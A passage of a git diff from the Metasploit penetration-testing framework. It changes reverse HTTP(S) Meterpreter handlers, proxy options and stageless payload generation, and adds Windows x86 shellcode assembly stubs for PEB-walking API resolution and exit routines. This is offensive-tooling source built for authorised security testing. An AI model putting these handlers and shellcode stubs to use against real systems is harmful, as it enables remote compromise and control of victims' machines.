= smb[:tree_id].to_i - pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i - end - - def smb_error(cmd, c, errorclass, esn = false) - # 0xc0000022 = Deny - # 0xc000006D = Logon_Failure - # 0x00000000 = Ignore - pkt = CONST::SMB_BASE_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = cmd - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - if esn - pkt['Payload']['SMB'].v['Flags2'] = 0xc801 - else - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - end - pkt['Payload']['SMB'].v['ErrorClass'] = errorclass - c.put(pkt.to_s) - end - -end - -end - diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index b440e12a91..0dec10cc71 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver [ OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]), OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]), + OptString.new('DATE', [false, 'Override the DATE: field with this value', '']), OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]), OptString.new('MAILTO', [ true, 'The TO address of the email' ]), OptString.new('SUBJECT', [ true, 'Subject line of the email' ]), @@ -142,6 +143,19 @@ module Exploit::Remote::SMTPDeliver resp = raw_send_recv("DATA\r\n", nsock) + # If the user supplied a Date field, use that, else use the current + # DateTime in the proper RFC2822 format. + if datastore['DATE'].present? + raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock) + else + raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock) + end + + # If the user supplied a Subject field, use that + if datastore['SUBJECT'].present? + raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock) + end + # Avoid sending tons of data and killing the connection if the server # didn't like us. if not resp or not resp[0,3] == '354' diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index b9ab02d6b7..f8c9055f30 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC rpcobj.pport = arr[5] end - def sunrpc_call(proc, buf, timeout = timeout) + def sunrpc_call(proc, buf, timeout = timeout()) ret = rpcobj.call(proc, buf, timeout) raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index f605a34825..be273d10df 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -224,7 +224,7 @@ protected # Record the detailed reason exploit.fail_detail ||= e.to_s - case e.class + case e when Msf::Exploit::Complete # Nothing to show in this case return @@ -271,20 +271,14 @@ protected exploit.fail_reason = Msf::Exploit::Failure::Unknown end - elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) - if exploit.fail_reason == Msf::Exploit::Failure::Unknown exploit.print_error("Exploit failed: #{msg}") - exploit.print_error("Call stack:") - e.backtrace.each do |line| - break if line =~ /lib.msf.base.core.exploit_driver.rb/ - exploit.print_error(" #{line}") - end - elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0) else exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}") - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) end + + elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) end # Record the error to various places @@ -335,3 +329,4 @@ protected end end + diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 552a00702a..844a26b432 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -77,6 +77,9 @@ module Handler # Initialize the pending_connections counter to 0 self.pending_connections = 0 + # Initialize the sessions counter to 0 + self.sessions = 0 + # Create the waiter event with auto_reset set to false so that # if a session is ever created, waiting on it returns immediately. self.session_waiter_event = Rex::Sync::Event.new(false, false) @@ -234,10 +237,14 @@ protected # Decrement the pending connections counter now that we've processed # one session. self.pending_connections -= 1 + + # Count the number of sessions we have registered + self.sessions += 1 end attr_accessor :session_waiter_event # :nodoc: attr_accessor :pending_connections # :nodoc: + attr_accessor :sessions # :nodoc: end diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index 6f4f635239..daed63cfd8 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -256,11 +256,11 @@ module ReverseHopHttp :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['PROXYHOST'], - :proxyport => datastore['PROXYPORT'], - :proxy_type => datastore['PROXY_TYPE'], - :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass'] blob = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b8a159c6e3..8271cd1a0e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -1,8 +1,10 @@ # -*- coding: binary -*- require 'rex/io/stream_abstraction' require 'rex/sync/ref' -require 'msf/core/handler/reverse_http/uri_checksum' require 'rex/payloads/meterpreter/patch' +require 'rex/payloads/meterpreter/uri_checksum' +require 'rex/parser/x509_certificate' +require 'msf/core/payload/windows/verify_ssl' module Msf module Handler @@ -15,7 +17,8 @@ module Handler module ReverseHttp include Msf::Handler - include Msf::Handler::ReverseHttp::UriChecksum + include Rex::Payloads::Meterpreter::UriChecksum + include Msf::Payload::Windows::VerifySsl # # Returns the string representation of the handler type @@ -53,22 +56,17 @@ module ReverseHttp OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), + OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]), OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ]) ], Msf::Handler::ReverseHttp) end - # Toggle for IPv4 vs IPv6 mode - # - def ipv6? - Rex::Socket.is_ipv6?(datastore['LHOST']) - end - # Determine where to bind the server # # @return [String] def listener_address - if datastore['ReverseListenerBindAddress'].to_s.empty? - bindaddr = (ipv6?) ? '::' : '0.0.0.0' + if datastore['ReverseListenerBindAddress'].to_s == "" + bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' else bindaddr = datastore['ReverseListenerBindAddress'] end @@ -76,14 +74,12 @@ module ReverseHttp bindaddr end + # Return a URI suitable for placing in a payload + # # @return [String] A URI of the form +scheme://host:port/+ def listener_uri - if ipv6? - listen_host = "[#{listener_address}]" - else - listen_host = listener_address - end - "#{scheme}://#{listen_host}:#{datastore['LPORT']}/" + uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address + "#{scheme}://#{uri_host}:#{datastore['LPORT']}/" end # Return a URI suitable for placing in a payload. @@ -92,13 +88,15 @@ module ReverseHttp # addresses. # # @return [String] A URI of the form +scheme://host:port/+ - def payload_uri - if ipv6? - callback_host = "[#{datastore['LHOST']}]" + def payload_uri(req) + if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost'] + callback_host = req.headers['Host'] + elsif ipv6? + callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}" else - callback_host = datastore['LHOST'] + callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}" end - "#{scheme}://#{callback_host}:#{datastore['LPORT']}/" + "#{scheme}://#{callback_host}/" end # Use the {#refname} to determine whether this handler uses SSL or not @@ -155,20 +153,7 @@ module ReverseHttp 'VirtualDirectory' => true) print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") - end - - # - # Simply calls stop handler to ensure that things are cool. - # - def cleanup_handler - stop_handler - end - - # - # Basically does nothing. The service is already started and listening - # during set up. - # - def start_handler + lookup_proxy_settings end # @@ -176,13 +161,55 @@ module ReverseHttp # active on sub-urls. # def stop_handler - self.service.remove_resource("/") if self.service + if self.service + self.service.remove_resource("/") + Rex::ServiceManager.stop_service(self.service) if self.sessions == 0 + end end attr_accessor :service # :nodoc: protected + # + # Parses the proxy settings and returns a hash + # + def lookup_proxy_settings + info = {} + return @proxy_settings if @proxy_settings + + if datastore['PayloadProxyHost'].to_s == "" + @proxy_settings = info + return @proxy_settings + end + + info[:host] = datastore['PayloadProxyHost'].to_s + info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i + info[:type] = datastore['PayloadProxyType'].to_s + + uri_host = info[:host] + + if Rex::Socket.is_ipv6?(uri_host) + uri_host = "[#{info[:host]}]" + end + + info[:info] = "#{uri_host}:#{info[:port]}" + + if info[:type] == "SOCKS" + info[:info] = "socks=#{info[:info]}" + else + info[:info] = "http://#{info[:info]}" + if datastore['PayloadProxyUser'].to_s != "" + info[:username] = datastore['PayloadProxyUser'].to_s + end + if datastore['PayloadProxyPass'].to_s != "" + info[:password] = datastore['PayloadProxyPass'].to_s + end + end + + @proxy_settings = info + end + # # Parses the HTTPS request # @@ -193,11 +220,13 @@ protected uri_match = process_uri_resource(req.relative_resource) + self.pending_connections += 1 + # Process the requested resource. case uri_match when /^\/INITPY/ conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) - url = payload_uri + conn_id + '/' + url = payload_uri(req) + conn_id + '/' blob = "" blob << obj.generate_stage @@ -212,8 +241,8 @@ protected blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - unless datastore['PROXYHOST'].blank? - proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + unless datastore['PayloadProxyHost'].blank? + proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end @@ -231,7 +260,7 @@ protected when /^\/INITJM/ conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) - url = payload_uri + conn_id + "/\x00" + url = payload_uri(req) + conn_id + "/\x00" blob = "" blob << obj.generate_stage @@ -259,27 +288,30 @@ protected when /^\/A?INITM?/ conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) - url = payload_uri + conn_id + "/\x00" + url = payload_uri(req) + conn_id + "/\x00" print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...") resp['Content-Type'] = 'application/octet-stream' blob = obj.stage_payload + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) # # Patch options into the payload # - Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, :ssl => ssl?, :url => url, + :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['PROXYHOST'], - :proxyport => datastore['PROXYPORT'], - :proxy_type => datastore['PROXY_TYPE'], - :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass']) resp.body = encode_stage(blob) @@ -298,13 +330,13 @@ protected # Grab the checksummed version of CONN from the payload's request. conn_id = req.relative_resource.gsub("/", "") - print_status("Incoming orphaned session #{conn_id}, reattaching...") + print_status("Incoming orphaned or stageless session #{conn_id}, attaching...") # Short-circuit the payload's handle_connection processing for create_session create_session(cli, { :passive_dispatcher => obj.service, :conn_id => conn_id, - :url => payload_uri + conn_id + "/\x00", + :url => payload_uri(req) + conn_id + "/\x00", :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ssl => ssl?, @@ -315,6 +347,7 @@ protected resp.code = 200 resp.message = "OK" resp.body = datastore['HttpUnknownRequestResponse'].to_s + self.pending_connections -= 1 end cli.send_response(resp) if (resp) diff --git a/lib/msf/core/handler/reverse_http/stageless.rb b/lib/msf/core/handler/reverse_http/stageless.rb new file mode 100644 index 0000000000..f39a7a2922 --- /dev/null +++ b/lib/msf/core/handler/reverse_http/stageless.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/parser/x509_certificate' +require 'rex/payloads/meterpreter/uri_checksum' + +module Msf + +## +# +# Helper functionality for handling of stageless http(s) payloads +# +## + +module Handler::ReverseHttp::Stageless + + include Msf::Payload::Windows::VerifySsl + include Rex::Payloads::Meterpreter::UriChecksum + + def initialize_stageless + register_options([ + OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]), + ], self.class) + end + + def generate_stageless(&block) + checksum = generate_uri_checksum(URI_CHECKSUM_CONN) + rand = Rex::Text.rand_text_alphanumeric(16) + url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/" + + unless block_given? + raise ArgumentError, "Stageless generation requires a block argument" + end + + # invoke the given function to generate the architecture specific payload + block.call(url) do |dll| + + # TODO: figure out this bit + # patch the target ID into the URI if specified + #if opts[:target_id] + # i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00") + # if i + # t = opts[:target_id].to_s + # raise "Target ID must be less than 5 bytes" if t.length > 4 + # u = "/B#{t} HTTP/1.0\r\n\r\n\x00" + # print_status("Patching Target ID #{t} into DLL") + # dll[i, u.length] = u + # end + #end + + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll, + :url => url, + :ssl => true, + :ssl_cert_hash => verify_cert_hash, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ua => datastore['MeterpreterUserAgent'], + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass']) + end + + end + +end + +end diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index e2cbc8b22a..6d0c54b0fb 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -43,7 +43,8 @@ module ReverseHttps register_advanced_options( [ - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]), + OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"]) ], Msf::Handler::ReverseHttps) end diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 35e5a40cb7..535cf01219 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -40,11 +40,11 @@ module ReverseHttpsProxy [ OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), - OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]), - OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]), - OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), - OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), - OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) + OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]), + OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]), + OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]), + OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]), + OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"]) ], Msf::Handler::ReverseHttpsProxy) register_advanced_options( diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index e9e7365028..1710c72139 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -57,6 +57,10 @@ class Module # datastore, consumed by #replicant to allow clean override of MSF module methods. REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions' + # The set of keys in {#user_data} that make {#user_data_is_match?} return + # true + MATCH_KEYS = Set.new([ :match, :match_set, :run ]) + # Make include public so we can runtime extend public_class_method :include @@ -278,6 +282,14 @@ class Module raise RuntimeError, "#{reason.to_s}: #{msg}" end + # Whether {#user_data} contains everything necessary to make a + # `MetasploitDataModels::AutomaticExploitation::MatchResult` + # + # @return [bool] + def user_data_is_match? + user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS) + end + ## # # Just some handy quick checks @@ -295,6 +307,7 @@ class Module # The array of zero or more platforms. # attr_reader :platform + # # The reference count for the module. # @@ -315,6 +328,15 @@ class Module # attr_accessor :error + # An opaque bag of data to attach to a module. This is useful for attaching + # some piece of identifying info on to a module before calling + # {Msf::Simple::Exploit#exploit_simple} or + # {Msf::Simple::Auxiliary#run_simple} for correlating where modules came + # from. + # + # @see #user_data_is_match? + attr_accessor :user_data + protected # diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 3240b27df5..e8b4f2edbd 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -527,10 +527,6 @@ class OptRegexp < OptBase return Regexp.compile(value) end - def default - @default.to_s - end - def display_value(value) if value.kind_of?(Regexp) return value.source @@ -808,7 +804,7 @@ module Opt 'LPORT' => [ OptPort, 'nil', true, '"The listen port"' ], 'CPORT' => [ OptPort, 'nil', false, '"The local client port"' ], 'CHOST' => [ OptAddress, 'nil', false, '"The local client address"' ], - 'Proxies' => [ OptString, 'nil', 'false', '"Use a proxy chain"'] + 'Proxies' => [ OptString, 'nil', 'false', '"A proxy chain of format type:host:port[,type:host:port][...]"'] } # diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 8cfbfc841f..348b42d61c 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -159,6 +159,36 @@ class Payload < Msf::Module (@staged or payload_type == Type::Stager or payload_type == Type::Stage) end + # + # This method returns an optional cached size value + # + def self.cached_size + csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil + csize == :dynamic ? nil : csize + end + + # + # This method returns whether the payload generates variable-sized output + # + def self.dynamic_size? + csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil + csize == :dynamic + end + + # + # This method returns an optional cached size value + # + def cached_size + self.class.cached_size + end + + # + # This method returns whether the payload generates variable-sized output + # + def dynamic_size? + self.class.dynamic_size? + end + # # Returns the payload's size. If the payload is staged, the size of the # first stage is returned. @@ -281,6 +311,13 @@ class Payload < Msf::Module internal_generate end + # + # Generates the payload and returns the raw buffer to the caller, + # handling any post-processing tasks, such as prepended code stubs. + def generate_complete + apply_prepends(generate) + end + # # Substitutes variables with values from the module's datastore in the # supplied raw buffer for a given set of named offsets. For instance, @@ -435,6 +472,13 @@ class Payload < Msf::Module return nops end + # + # A placeholder stub, to be overriden by mixins + # + def apply_prepends(raw) + raw + end + ## # # Event notifications. @@ -500,6 +544,12 @@ class Payload < Msf::Module # attr_accessor :assoc_exploit + # + # The amount of space available to the payload, which may be nil, + # indicating that the smallest possible payload should be used. + # + attr_accessor :available_space + protected # @@ -552,6 +602,8 @@ protected when ARCH_X64 then Metasm::X86_64.new when ARCH_PPC then Metasm::PowerPC.new when ARCH_ARMLE then Metasm::ARM.new + when ARCH_MIPSLE then Metasm::MIPS.new(:little) + when ARCH_MIPSBE then Metasm::MIPS.new(:big) else elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}") elog("Call stack:\n#{caller.join("\n")}") diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb index 2d116ca0d4..bcfd8a4711 100644 --- a/lib/msf/core/payload/firefox.rb +++ b/lib/msf/core/payload/firefox.rb @@ -175,14 +175,16 @@ module Msf::Payload::Firefox stdout.append(stdoutFile); var shell; + cmd = cmd.trim(); if (windows) { - shell = shPath+" "+cmd.trim(); + shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { shell = shPath+" "+cmd.replace(/\\W/g, shEsc); shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } + var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] diff --git a/lib/msf/core/payload/linux.rb b/lib/msf/core/payload/linux.rb index 02787eeaa9..aa91314e6b 100644 --- a/lib/msf/core/payload/linux.rb +++ b/lib/msf/core/payload/linux.rb @@ -91,9 +91,7 @@ module Msf::Payload::Linux # # Overload the generate() call to prefix our stubs # - def generate(*args) - # Call the real generator to get the payload - buf = super(*args) + def apply_prepends(buf) pre = '' app = '' diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 26856d4444..a477dc32c3 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -38,9 +38,11 @@ module Msf::Payload::Windows 'none' => 0x5DE2C5AA, # GetLastError } - - def generate - return prepends(super) + # + # Implement payload prepends for Windows payloads + # + def apply_prepends(raw) + apply_prepend_migrate(raw) end # @@ -150,5 +152,12 @@ module Msf::Payload::Windows return true end + # + # Share the EXITFUNC mappings with other classes + # + def self.exit_types + @@exit_types.dup + end + end diff --git a/lib/msf/core/payload/windows/block_api.rb b/lib/msf/core/payload/windows/block_api.rb new file mode 100644 index 0000000000..c1fbbf5da1 --- /dev/null +++ b/lib/msf/core/payload/windows/block_api.rb @@ -0,0 +1,112 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf + + +### +# +# Basic block_api stubs for Windows ARCH_X86 payloads +# +### + + +module Payload::Windows::BlockApi + + def asm_block_api(opts={}) + + raw = %q^ + + api_call: + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) + mov edx, [fs:eax+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table + mov edx, [edx+16] ; Get this modules base address + mov ecx, [edx+60] ; Get PE header + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [ecx+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... + finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... + + get_next_mod: ; + pop edi ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + ^ + end + + +end + +end + diff --git a/lib/msf/core/payload/windows/exitfunk.rb b/lib/msf/core/payload/windows/exitfunk.rb new file mode 100644 index 0000000000..3d6e61935c --- /dev/null +++ b/lib/msf/core/payload/windows/exitfunk.rb @@ -0,0 +1,79 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows' +module Msf + + +### +# +# Implements arbitrary exit routines for Windows ARCH_X86 payloads +# +### + +module Payload::Windows::Exitfunk + + def asm_exitfunk(opts={}) + + asm = "exitfunk:\n" + + case opts[:exitfunk] + + when 'seh' + asm << %Q^ + mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']} + push.i8 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; SetUnhandledExceptionFilter(0) + push.i8 0 + ret ; Return to NULL (crash) + ^ + + # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread + # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will + # automatically generate the right code depending on the selected exit method. + + when 'thread' + asm << %Q^ + mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']} + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 + jl exitfunk_goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne exitfunk_goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + exitfunk_goodbye: ; We now perform the actual call to the exit function + push.i8 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call ExitThread(0) || RtlExitUserThread(0) + ^ + + when 'process', nil + asm << %Q^ + mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']} + push.i8 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; ExitProcess(0) + ^ + + when 'sleep' + asm << %Q^ + mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')} + push 300000 ; 300 seconds + push ebx ; push the hash of the function + call ebp ; Sleep(300000) + jmp exitfunk ; repeat + ^ + else + # Do nothing and continue after the end of the shellcode + end + + asm + end + + +end + +end + diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 8d055ed5a4..f3f0a194e4 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -34,7 +34,7 @@ module Msf::Payload::Windows::PrependMigrate # # Overload the generate() call to prefix our stubs # - def prepends(buf) + def apply_prepend_migrate(buf) pre = '' test_arch = [ *(self.arch) ] diff --git 